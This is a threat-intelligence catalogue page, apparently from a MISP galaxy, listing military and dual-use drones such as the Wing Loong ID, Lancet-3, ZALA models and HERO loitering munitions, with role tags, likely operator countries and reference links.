https://www.defencetoday.com/air/air-platforms/germany-to-arm-heron-tp-drones/

Wing Loong ID

EW, MALE, UAS, UCAV

The tag is: *misp-galaxy:uavs="Wing Loong ID"*

View relationships graph

Wing Loong ID has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="egypt" with estimative-language:likelihood-probability="likely"

Table 24900. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/4b7a673c03470cb74dd39a6a7362e75a
https://uasweekly.com/2018/01/29/chinas-avic-aims-launch-new-wing-loong-d-variant-2018/
https://bulgarianmilitary.com/2022/08/03/china-upgrades-ucav-intoa-high-electromagnetic-jamming-vehicle/
https://www.armyrecognition.com/news/army-news/2018/airshow-china-2018-casic-launches-i-d-version-of-wing-loong-uas

CH-804C

VTOL

The tag is: *misp-galaxy:uavs="CH-804C"*

View relationships graph

CH-804C has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24901. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6973988d07e21af0422e89fe41bee020

https://customer.janes.com/display/JUAVB008-JUAV
https://ruslet.webnode.cz/technika/cinska-technika/bezpilotni-prostredky/casc/ch-804c/

Trinity Tactical

UAS

The tag is: *misp-galaxy:uavs="Trinity Tactical"*

View relationships graph

Trinity Tactical has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 24902. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/2ab5f31f2dc1ee77b9f93968b57a1a8f
https://quantum-systems.com/trinity-tactical/

AR5

UAS

The tag is: *misp-galaxy:uavs="AR5"*

View relationships graph

AR5 has relationships with:

- similar: misp-galaxy:country="portugal" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24903. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0012112c3beb6777c2cb6b4094858b64
https://www.tekever.com/models/ar5/

S570

LM

The tag is: *misp-galaxy:uavs="S570"*

View relationships graph

S570 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24904. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ebef243c83b470fe9879009ea107d979
https://www.militarydrones.org.cn/s570-loitering-munition-weapon-system-p00207p1.html

PHASA-35

HALE, ISR

The tag is: *misp-galaxy:uavs="PHASA-35"*

View relationships graph

PHASA-35 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24905. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/669fda37f8aa39d397e5a86b43c0c430
https://www.baesystems.com/en-uk/product/phasa-35
https://www.spaceportamerica.com/phasa-35-announces-completion-of-first-successful-stratosphericflight/
https://defence-blog.com/uk-solar-powered-drone-to-stay-airborne-for-months/
https://www.aerosociety.com/news/exclusive-bae-systems-phasa-35-makesbreakthrough-stratospheric-flight/
https://www.airforce-technology.com/projects/phasa-35-solar-powered-hale-uav/?cf-view

Trinity Pro

UAS

The tag is: *misp-galaxy:uavs="Trinity Pro"*

View relationships graph

Trinity Pro has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 24906. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1ac678fe6946a795e29b75f52af00820
https://quantum-systems.com/trinity-pro/
https://lp.quantum-systems.com/hubfs/Downloadables/QS_INT_Trinity_Pro_Techsheet_241015_Screen.pdf
https://lp.quantum-systems.com/hubfs/Downloadables/QS_TPro_Brochure_A4_BS_3mm_240913_Screen.pdf

Hydra

UAS

The tag is: *misp-galaxy:uavs="Hydra"*

View relationships graph

Hydra has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"

Table 24907. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/2250a485d0eaf510dfebf71dc737ce17
https://www.defendtex.com/sea/
https://www.australiandefence.com.au/defence/sea/how-navy-can-adapt-to-unmanned-systems-ifrs
https://strategicanalysis.org/rethinking-australian-airpower-in-an-age-of-impactful-projection/

FH-95 (flying Swan)

UAS

The tag is: *misp-galaxy:uavs="FH-95 (flying Swan)"*

View relationships graph

FH-95 (flying Swan) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24908. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f4974eb58f26cf3dcd5c31f60b346d8f

https://customer.janes.com/Janes/Display/BSP_32024-JDW
https://www.youtube.com/watch?v=qQnmBr_k5ck
https://www.turbosquid.com/FullPreview/2108580
https://www.militarydrones.org.cn/fh-95-electronic-warfare-drone-p00558p1.html

Kub (Куб)

LM

The tag is: *misp-galaxy:uavs="Kub (Куб)"*

View relationships graph

Kub (Куб) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24909. Table References

Links
https://en.wikipedia.org/wiki/ZALA_Kub-BLA
https://odin.tradoc.army.mil/WEG/Asset/64e82ecf06f6edfe3ef96b58493d1871
https://www.army-technology.com/projects/zala-kyb-strike-drone-russia/
https://dronexl.co/2022/01/31/kamikaze-drone-kalashnikov-group/
https://www.navalnews.com/naval-news/2021/08/russian-company-develops-new-naval-kamikaze-drone/
https://www.wired.com/story/ai-drones-russia-ukraine/

Arash-2 (Kyan 2, □□□)

Arash-2 is an Iranian jet-powered long-range loitering munition designed to conduct kamikaze strikes on high-value targets, including air-defense radars and critical infrastructure. It reportedly reaches about 400 km/h, has a ~4 m wingspan, carries roughly a 30 kg warhead, and is operated by Iran for stand-off attacks.

The tag is: *misp-galaxy:uavs="Arash-2 (Kyan 2, □□□)"*

View relationships graph

Arash-2 (Kyan 2, □□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24910. Table References

Links

https://odin.tradoc.army.mil/WEG/Asset/a20576c1debc6b6cae8f8657a8b49125
https://en.defence-ua.com/analysis/iranian_arash_2_kamikaze_drones_capabilities_and_specifications-4555.html
https://en.wikipedia.org/wiki/Arash_(drone)

Kian-1 (□□□□)

LM

The tag is: *misp-galaxy:uavs="Kian-1 (□□□□)"*

View relationships graph

Kian-1 (□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24911. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8dfb51bfd53759be9ff36c873abb20b9
https://www.aljazeera.com/news/2019/9/1/iran-unveils-high-precision-reconnaissance-and-attack-drone
https://iranpress.com/kian-combat-and-defense-drone
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=2208#images

HERO-400EC

ISR, LM

The tag is: *misp-galaxy:uavs="HERO-400EC"*

View relationships graph

HERO-400EC has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24912. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/4501254841a9a3cab0f84b71df87a612
https://uvisionuav.com/loitering-munitions/hero-120/

T-22 (421-22)

ZALA Aero Group's T-22 (ZALA 421-22) is a compact electric VTOL rotary-wing UAV used by Russian operators for short-range ISR and light cargo tasks, carrying up to 2 kg with about 35 minutes endurance and a top speed around 30 km/h. Unarmed and optimized for quiet, confined-area operations, it typically carries EO sensors for real-time observation and mapping.

The tag is: *misp-galaxy:uavs="T-22 (421-22)"*

View relationships graph

T-22 (421-22) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24913. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f231233d35591930e8c0ed313517548f
https://www.rstradehouse.com/item?id=100210122487&l=en
https://www.homelandsecurity-technology.com/projects/zala-421-22-unmanned-aerial-vehicle-uav/
https://www.aeroexpo.online/
https://zala-aero.com/en/product/zala-421-22-malogabaritnyj-bpla-vertoletnogo-tipa/
https://war-sanctions.gur.gov.ua/en/uav/370

Lancet-3

The tag is: *misp-galaxy:uavs="Lancet-3"*

View relationships graph

Lancet-3 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24914. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7dc2fc5e9d0492c3a78da4da45d3428f
https://sputnikglobe.com/20230515/what-is-the-lancet-kamikaze-drone-and-what-makes-it-so-deadly-1110378634.html
https://www.rt.com/russia/462608kalashnikov-russian-kamikaze-drone/
https://www.ukrinform.net/rubric-ato/3781231-russia-uses-lancets-to-attack-priority-targets-british-intel-report.html
https://en.wikipedia.org/wiki/ZALA_Lancet

WZ-8

ISR

The tag is: *misp-galaxy:uavs="WZ-8"*

View relationships graph

WZ-8 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24915. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/41e748a3cc676a09e8123dcff31f9250
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=2435#images
https://www.navalnews.com/naval-news/2023/04/leaked-us-intel-suggests-firstchinese-wz-8-drone-unit-established/
https://en.wikipedia.org/wiki/AVIC_WZ-8
https://customer.janes.com/display/FG_2410001-JDW

Evo Nano

The Autel Robotics EVO Nano is a sub-250 g, foldable VTOL quadcopter for portable aerial imaging and inspection, carrying a stabilized high-resolution camera with obstacle avoidance and roughly 28–30 minutes endurance, with selectable low-speed flight modes for smooth capture. Unarmed and electric-powered, it is employed in China primarily for consumer/professional photography and basic situational awareness where a compact, low-profile platform is preferred.

The tag is: *misp-galaxy:uavs="Evo Nano"*

View relationships graph

Evo Nano has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24916. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/dc5035888fd35b8fe676792e748e3a8b
https://www.amazon.com/Autel-Robotics-Portable-Controller-Incredibly/dp/B087JZFKC5

https://versus.com/en/autel-evo-nano-vs-autel-evo-nano-plus
https://www.bhphotovideo.com/c/product/1676358-REG/autel_robotics_102000796_evo_nano_standard_package.html
https://www.972mag.com/autel-drones-israeli-army-importers

421-10F

The Zala 421-10 is a small, electric, hand-launched mini-UAS used by Russian forces for short-range ISR, route/area surveillance, and battlefield observation with a lightweight (~400 g) electro-optical payload. It is unarmed and offers up to 2 hours endurance, a top speed of about 130 km/h, and a 1.1 m wingspan.

The tag is: *misp-galaxy:uavs="421-10F"*

View relationships graph

421-10F has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24917. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1d5d5345b07a66aae284366919d174fb
https://yandex.com/maps/org/zala_aero_group/170394089252/reviews/?ll=53.212918%2C56.878286&z=13
https://www.turbosquid.com/Search/3D-Models/zala
https://listdrone.com/listing/zala-421-10f/

T-16 VTOL

ZALA VTOL is a Russian electric vertical-takeoff-and-landing reconnaissance UAV that combines quadrotor lift with fixed-wing cruise, enabling runway-free operations and up to 4 hours of ISR, mapping, and monitoring. Carrying ~1.5 kg of EO/IR sensors and reaching 110 km/h, it provides day/night situational awareness for Russian units, including in austere and Arctic conditions.

The tag is: *misp-galaxy:uavs="T-16 VTOL"*

View relationships graph

T-16 VTOL has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24918. Table References

Links

https://odin.tradoc.army.mil/WEG/Asset/5eabae70eb194b494ddf3a5d5a731471
https://www.directindustry.com/prod/zala-aero/product-101657-2399332.html
https://nationalinterest.org/blog/reboot/russias-arctic-warfare-forces-augment-unitshandheld-drones-199315
https://en.topwar.ru/180298-zala-vtol-novejshij-rossijskij-bespilotnik-konvertoplan.html
https://zala-aero.com/en/product/konvertoplan-zala-421-16ev-hd-bespilotnyj-samolet-bolshoj-dalnosti/
https://war-sanctions.gur.gov.ua/en/uav/372

HERO-120

ISR, LM

The tag is: *misp-galaxy:uavs="HERO-120"*

View relationships graph

HERO-120 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24919. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a5c949ab7a3be029aa17c51c97579a78
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=1654

421-16E5 HD

The Zala Aero 421-16E5 HD is an electric, fixed-wing Russian reconnaissance UAV for day/night ISR, mapping, and target observation, carrying up to 5 kg of EO/IR sensors and delivering HD imagery. It is unarmed and offers about 6 hours endurance, a top speed of 110 km/h, and a 5.3 m wingspan.

The tag is: *misp-galaxy:uavs="421-16E5 HD"*

View relationships graph

421-16E5 HD has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24920. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6810876ec4c6368ded3d8e53b8dd723d

https://zala-aero.com/en/product/zala-421-16e5-hd-operativno-takticheskij-kompleks/
https://www.airforce-technology.com/projects/zala-421-16e5-unmannedaircraft-system/

Mugin EV350

VTOL

The tag is: *misp-galaxy:uavs="Mugin EV350"*

View relationships graph

Mugin EV350 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24921. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7e4e660b04b50115fa736189bef72c92
https://www.muginuav.com/product/mugin-ev350-carbon-fiber-full-electric-vtol-uav-platform/
https://www.muginuav.com/product/mugin-ev350-carbon-fiber-fullelectric-vtol-uav-platform/
https://www.facebook.com/muginuav/posts/mugin-ev350-full-electric-carbon-fiber-vtolhttpswwwmuginuavcomproductmuginev350/575258409718210/
https://www.muginuav.com/product/mugin-ev350-full-electric-vtol-uav-arf/

HERO-900

ISR, LM

The tag is: *misp-galaxy:uavs="HERO-900"*

View relationships graph

HERO-900 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24922. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ece4680c6c70d40bf955e33686f64635
https://www.researchgate.net/figure/Some-mature-products-of-small-LM-a-HAROP-drones-b-Predator-AX-1-and-c-Hero-900_fig3_345183015

Bayraktar DIHA

VTOL

The tag is: *misp-galaxy:uavs="Bayraktar DIHA"*

View relationships graph

Bayraktar DIHA has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24923. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d0bcc81f14cb9dc8eff577b92d77916e
https://www.uasvision.com/2023/01/18/bayraktar-diha-vtol-drone-completes-flight-test-at-8000-ft/
https://en.wikipedia.org/wiki/Bayraktar_VTOL
https://www.nkgoo.com/bayraktar-diha-ozellikleri-nelerdir/

Songar Armed

VTOL

The tag is: *misp-galaxy:uavs="Songar Armed"*

View relationships graph

Songar Armed has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24924. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/550b015d22cb8eddc67a29988cccc706
https://www.military.africa/2022/05/turkish-asisguard-songar-armed-drone-joins-nigerias-growing-fleet/
https://www.asisguard.com.tr/en/
https://www.asisguard.com.tr/en/product/songar-grenaded/

Songar Grenaded

VTOL

The tag is: *misp-galaxy:uavs="Songar Grenaded"*

View relationships graph

Songar Grenaded has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24925. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/43bbd815e86ad849f7f26e7aa862dcdd
https://dronexl.co/2024/01/10/turkish-grenade-launcher-armed-drone/
https://www.asisguard.com.tr/en/product/songar-grenaded/

Z-24 (421-24)

The Z-24 (ZALA 421-24) is a compact, unarmed electric quadcopter used by Russian forces for short-range reconnaissance and surveillance, providing real-time EO/IR imagery. With about 30 minutes endurance and a 550 mm airframe, it supports unit-level ISR, search, and observation tasks requiring rapid deployment.

The tag is: *misp-galaxy:uavs="Z-24 (421-24)"*

View relationships graph

Z-24 (421-24) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24926. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/bf7d90043df21c252de2b11a1edba574
https://zala-aero.com/en/news/zala-aero-presented-a-new-player-on-the-kvadrokopter-market-zala-421-24/
https://www.defensemirror.com/news/33021/Kalashnikov_Starts_Delivery_of_Advanced_Quadcopters_to_Russian_Troops
https://war-sanctions.gur.gov.ua/en/uav/369
https://zala-aero.com/en/product/kvadrokopter-zala-421-24/

HERO-90

ISR, LM

The tag is: *misp-galaxy:uavs="HERO-90"*

View relationships graph

HERO-90 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24927. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/bd25d6b9d21b03486bb37f569d42a6cb
https://en.topwar.ru/220332-novyj-dron-kamikadze-dlja-unichtozhenija-legkoj-bronetehniki-s-zapuskom-iz-perenosnogo-tubusa-razrabotan-v-rossii.html
https://fragoutmag.com/uvision-air-launches-revolutionary-hero-90/

R18 (Baba Yaga)

UAS

The tag is: *misp-galaxy:uavs="R18 (Baba Yaga)"*

View relationships graph

R18 (Baba Yaga) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24928. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ecff5963bf88ee438568a4a164d3b952
https://nypost.com/2022/07/02/ukrainians-building-homemade-tech-to-thwart-russian-drones/
https://www.businessinsider.com/inside-the-elite-ukrainian-droneunit-volunteer-it-experts-2022-4
https://en.wikipedia.org/wiki/Aerorozvidka_R18

T-08 (421-08M)

The T-08 (ZALA 421-08M) is a Russian electric fixed-wing ISR UAV from ZALA AERO/AEROSCAN/CST designed for low-noise, short-range day/night reconnaissance, target observation, and mapping, with about 1.5 hours endurance and speeds up to 125 km/h. It is unarmed and carries lightweight EO/IR sensors to provide real-time surveillance and situational awareness.

The tag is: *misp-galaxy:uavs="T-08 (421-08M)"*

View relationships graph

T-08 (421-08M) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24929. Table References

Links
https://ru.wikipedia.org/wiki/ZALA_421-08
https://war-sanctions.gur.gov.ua/en/uav/376
https://zala-aero.com/en/product/zala-421-08m-legkij-i-besshumnyj-bla/
https://odin.tradoc.army.mil/WEG/Asset/91a24acdba4e1cba37ec9c9483f0e9be
https://lens.google.com/search?ep=subb&hl=en&re=df&p=AbrfA8pHDt3c5YAd5gXhMmY2aBd_V1xHpyepEAl1653bIsyUpUB6bKnUDEgYhoZYg6PdftICfVLh244qLcnpLDJAMr6btJXY09UghuzUxVm_WazGnknhQA5z2Wii01PWMF_LXycwTupqVMuqG_PQsMRzqXaEN8yMeN4bgBeboxrzf6yOngH4FDL-EX-Hsd7Xis8FdrSPOSjVZWN2B08OKxBVV8ihhUHF8S55icWl1ZuXVxtucJZ9Bbq3B6x8v3B0BibROd1T8Lgltdnhigui0T8%3D#lns=W251bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsIkVrY0tKR014WkRsaU9XRTNMVEl4Wk
https://www.homelandsecurity-technology.com/projects/zala-421-08m-micro-unmanned-aerial-vehicle-uav/

421-16EM

The ZALA 421-16EM is a small electric fixed-wing ISR drone used by Russia for tactical reconnaissance, surveillance, and mapping, carrying lightweight electro-optical payloads up to 1 kg. With up to 5 hours endurance and a 110 km/h top speed, it supports long-duration patrols—including in Arctic conditions—for border security, infrastructure monitoring, and battlefield situational awareness.

The tag is: *misp-galaxy:uavs="421-16EM"*

View relationships graph

421-16EM has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24930. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ca0a36fab6fb7e2d8c37860f38738e62
https://www.gpsworld.com/russia-company-makes-drones-for-arctic-work/
https://www.defensemirror.com/news/34854/Kalashnikov_to_Set_up_Universal_Training_Centre_for_Military_Drones

Gorgon X8

EW, ISR, MALE, UAS

The tag is: *misp-galaxy:uavs="Gorgon X8"*

View relationships graph

Gorgon X8 has relationships with:

- similar: misp-galaxy:country="czechia" with estimative-language:likelihood-probability="likely"

Table 24931. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e67edd0aaf79604467f2be79801359a5
https://www.agentfly.com/tactical-operations-military-security
https://armyrecognition.com/news/aerospace-news/2025/czech-agentfly-unveils-gorgon-x8-tacticaldrone-for-frontline-resupply-and-isr-at-idet-2025

Orion

HALE, ISR, MALE

The tag is: *misp-galaxy:uavs="Orion"*

View relationships graph

Orion has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24932. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/cbe750ae7c7b1327da00e9bd28d55f4a
https://www.forbes.com/sites/davidhambling/2020/08/12/russia-to-field-attack-drones-in-2021/?sh=39ce9f4615bc
https://21stcenturyasianarmsrace.com/2018/08/24/the-drone-index-kronstadt-group-orion-e/
https://www.ainonline.com/aviation-news/defense/2017-08-15/russias-firstmale-uav-revealed
https://en.wikipedia.org/wiki/Kronshtadt_Orion
https://war-sanctions.gur.gov.ua/en/uav/291

Kaman-12 (□□□□)

ISR

The tag is: *misp-galaxy:uavs="Kaman-12 (□□□□)"*

View relationships graph

Kaman-12 (□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24933. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1f8abb81e030ce735eb1ff4462e6d915
https://iranpress.com/kaman-12-iran-s-army-air-force-achievement-in-uav-technology
https://twitter.com/yeghig/status/1358004212777570304
https://21stcenturyasianarmsrace.com/2019/03/11/the-drone-index-asf-ssjo-kaman-12/
https://en.wikipedia.org/wiki/Kaman-12_(UAV

CW-007

UAS

The tag is: *misp-galaxy:uavs="CW-007"*

View relationships graph

CW-007 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24934. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/4b417214e16558edca46737ff1b3672b
https://www.jouav.com/products/cw-007.html

XQ-58 Valkyrie

UAS

The tag is: *misp-galaxy:uavs="XQ-58 Valkyrie"*

View relationships graph

XQ-58 Valkyrie has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24935. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/b999d2482c09d5fb550f35184a9b38cf
https://www.kratosdefense.com/unmanned-systems/air/uncrewed-tactical-aircraft/xq-58a

https://www.kratosdefense.com/wp-content/uploads/2025/07/XQ-58AValkyrie.pdf

ACS-3

The military Raybird-3, built for the Ukrainian Air Force under a defense contract, is a long-range UAV for wide-area surveillance. It features an aerodynamic fuselage with engine, payload bay, fuel tank, electronics, and parachute housing. The design includes mid-mounted tapered wings with curved wingtips and a twin boom with an inverted U-tail and swept vertical fins.

The tag is: *misp-galaxy:uavs="ACS-3"*

View relationships graph

ACS-3 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24936. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a014bb964ac302c0fa0f708a5e8023f4

D40

LM

The tag is: *misp-galaxy:uavs="D40"*

View relationships graph

D40 has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24937. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/3e71eedf4531df93188fe7069be04790
https://www.defendtex.com/wp-content/uploads/D40_V12_Datasheet.pdf

Fotros (□□□□)

UAS

The tag is: *misp-galaxy:uavs="Fotros (□□□□)"*

View relationships graph

Fotros (□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24938. Table References

Links
https://tvd.im/aviation/1093-iaio-fotros-fallen-angel.html
https://odin.tradoc.army.mil/WEG/Asset/3c5b68cc15a8d48d16b5ac8d508f6361
https://en.wikipedia.org/wiki/IAIO_Fotros
https://theaviationist.com/2013/11/18/fotros-unveiled/
https://nationalinterest.org/blog/reboot/getting-familiariran%E2%80%99s-unmanned-combat-air-vehicles-196691

GJ-11 Sharp Sword

EW

The tag is: *misp-galaxy:uavs="GJ-11 Sharp Sword"*

View relationships graph

GJ-11 Sharp Sword has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24939. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/bb664308b41d682ff0cf74e3355e22c0
https://en.wikipedia.org/wiki/Hongdu_GJ-11
https://thedebrief.org/china-offers-first-close-up-view-of-its-secretive-gj-11-sharp-sword-stealth-drone/
https://www.twz.com/30111/china-showcases-stealthier-sharp-sword-unmanned-combat-air-vehicle-configuration

MUGIN-5 Pro

VTOL

The tag is: *misp-galaxy:uavs="MUGIN-5 Pro"*

View relationships graph

MUGIN-5 Pro has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24940. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6c7fa8e32d3384099fe95c8993beef2d
https://www.muginuav.com/product/mugin-5-pro-5000mm-vtol-uav-platform-8-motor-mounts/
https://www.muginuav.com/product/mugin-5-pro-5000mm-vtol-uavplatform-8-motor-mounts/
https://www.muginuav.com/product/mugin-5-pro5000mm-vtol-uav-platform-8-motor-mounts/

Jump 20

ISR, VTOL

The tag is: *misp-galaxy:uavs="Jump 20"*

View relationships graph

Jump 20 has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24941. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d1dfc033df79bc99dafc4819d01af7d4
https://www.naval-technology.com/projects/jump-20-vtol-unmanned-aerial-vehicle/
https://www.unmannedsystemstechnology.com/2021/03/jump-20-vtol-uavselected-for-ussocom-meuas-program/

Bayraktar Mini

UAS

The tag is: *misp-galaxy:uavs="Bayraktar Mini"*

View relationships graph

Bayraktar Mini has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24942. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6ed5ed9ed5e328cd57d1595c152c4645

https://baykarmagaza.com/en/
https://botsanddrones.net/military-use-drones/f/bayraktar-mini-uav---baykar-tech?blogcategory=Military%2F+Tactical+Use
https://en.m.wikipedia.org/wiki/File:Miniuavs.jpg

Supercam S450

The Supercam S450 is an unarmed, electric fixed-wing reconnaissance UAV operated by Russia, optimized for long-endurance ISR, mapping, and area surveillance with a 4.5 m wingspan, up to 7 hours endurance, and a 120 km/h top speed. It typically carries stabilized day/night electro-optical sensors to provide real-time situational awareness and observation support for security and military tasks.

The tag is: *misp-galaxy:uavs="Supercam S450"*

View relationships graph

Supercam S450 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24943. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6e9a3db95e386b46a645f3dd5b7308fa
https://commons.wikimedia.org/wiki/File:S150_video_gray.png
https://www.rusaviainsider.com/unmanned-systems-presents-supercam-s450-uav-maks/
https://en.supercam.aero/catalog/supercam-s350

LELEKA-100 (Лелека-100)

ISR

The tag is: *misp-galaxy:uavs="LELEKA-100 (Лелека-100)"*

View relationships graph

LELEKA-100 (Лелека-100) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24944. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/b2f84f6c0c58345e8ceaba40fb82097f
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=2469

https://www.zonajakarta.com/internasional/6739395301/mengenal-leleka-100-drone-canggihukraina-yang-konon-paling-ditakuti-oleh-militer-rusia
https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BB%D0%B5%D0%BA%D0%B0-100

Evo Lite/Lite+

The EVO Lite is a mid-size foldable consumer drone designed for advanced aerial imaging and long-endurance flights. It offers high performance, including strong wind resistance, obstacle avoidance, and extended range. Classified as C1, it sits above the mini-drone category in terms of capability and stability. The platform is primarily intended for civil and professional use, such as inspection and mapping. Its specifications also explain its dual-use interest, although it is not a military system.

The tag is: *misp-galaxy:uavs="Evo Lite/Lite+"*

View relationships graph

Evo Lite/Lite+ has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24945. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/9f2bec994af2c36c5077bab592e3d0a7
https://www.rcgoing.com/autel-robotics-evo-lite-lite-series-12km-fpv-with-6k-30fps-video-4-axis-gimbal-40mins-flight-time-obstacle-avoidance-rc-dronequadcopter/
https://www.walmart.com/ip/EVO-Lite-Premium-Bundle-with-128GB-microSD-Card-Anti-Collision-Light-Landing-Pad/1037884724
https://www.ebay.com/p/6053102109
https://www.autelrobotics.com/productdetail/evo-lite-series-drones/#jsgg

Flyeye Mini

UAS

The tag is: *misp-galaxy:uavs="Flyeye Mini"*

View relationships graph

Flyeye Mini has relationships with:

- similar: misp-galaxy:country="poland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24946. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e60523d5b23dfce259bddc0b66575540
https://www.ainonline.com/aviation-news/defense/2015-08-25/indian-army-wants-600-mini-uav-systems
https://theaviationist.com/2014/05/10/poland-lost-miniuav/
https://vpk.name/en/843578_the-most-advanced-system-in-the-world-a-thousandth-copy-of-the-flyeye-reconnaissance-drone-was-made-in-poland.html
https://www.wbgroup.pl/en/produkt/flyeye-unmanned-aerial-system/

Supercam S350

